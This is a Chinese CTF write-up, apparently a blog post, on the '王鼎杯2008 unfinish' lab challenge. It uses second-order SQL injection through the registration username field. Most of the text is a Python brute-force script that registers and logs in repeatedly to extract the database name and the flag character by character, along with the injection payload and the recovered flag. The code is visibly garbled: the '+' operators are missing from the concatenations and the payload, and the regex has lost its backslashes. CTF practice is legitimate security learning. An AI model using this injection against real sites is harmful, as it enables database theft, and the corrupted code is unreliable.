CTF--王鼎杯2008--unfinish

2023-05-18 14:43:42 浏览数 (2)

简介

这是一道有关sql注入的题,本人使用攻防世界搭建的环境。

详解

打开网址,首页是一个登录页面。

随便试个账户登录,发现不行,登录不了。页面点点也没什么东西。

尝试一下有没有注册页面,修改网址----http://61.147.171.105:50774/register.php。果然有。

也可以用dirsearch工具扫描,可以看我另一篇博客讲解dirsearch。

随便注册个账户。

邮箱:1@1 用户名:1 密码:1

发现跳回到登录页面了,应该是注册成功了,登录账户。

随便点点也没什么东西。但是有个1应该是回显了用户名。大胆猜测用户名应该就是注入点。

构造payload:

0' ascii(substr((select * from flag) from 1 for 1)) '0

写python脚本爆破:

代码语言:javascript复制
import requests
import re

register_url = "http://61.147.171.105:50774//register.php"
login_url = "http://61.147.171.105:50774//login.php"
database = ""
flag = ""
# 获取数据库名
for i in range(1, 10):
    register_data = {
        'email': 'test@test'   str(i)   'db',
        'username': "0' ascii(substr((select database()) from %d for 1)) '0" % i,
        'password': 123
    }
    r = requests.post(url=register_url, data=register_data)
    login_data = {
        'email': 'test@test'   str(i)   'db',
        'password': 123
    }
    r = requests.post(url=login_url, data=login_data)
    match = re.search(r'<span class="user-name">s*(d*)s*</span>', r.text)
    asc = match.group(1)
    if asc == '0':
        break
    database = database   chr(int(asc))
print('database:', database)

# 获取flag
for i in range(1, 100):
    register_data = {
        'email': 'test@test'   str(i)   'flag',
        'username': "0' ascii(substr((select * from flag) from %d for 1)) '0" % i,
        'password': 123
    }
    r = requests.post(url=register_url, data=register_data)
    login_data = {
        'email': 'test@test'   str(i)   'flag',
        'password': 123
    }
    r = requests.post(url=login_url, data=login_data)
    match = re.search(r'<span class="user-name">s*(d*)s*</span>', r.text)
    asc = match.group(1)
    if asc == '0':
        break
    flag = flag   chr(int(asc))
print('flag:', flag)

Python

成功获取:flag{2494e4bf06734c39be2e1626f757ba4c}

可以爆破出数据库名----web,但是爆破不出数据库中的表名,页面尝试手工爆破表名返回nnnooo。虽然爆破不了表名,但是CTF一般都是将falg存在表名为flag的表中。

结语

好好学习,天天向上!!!

0 人点赞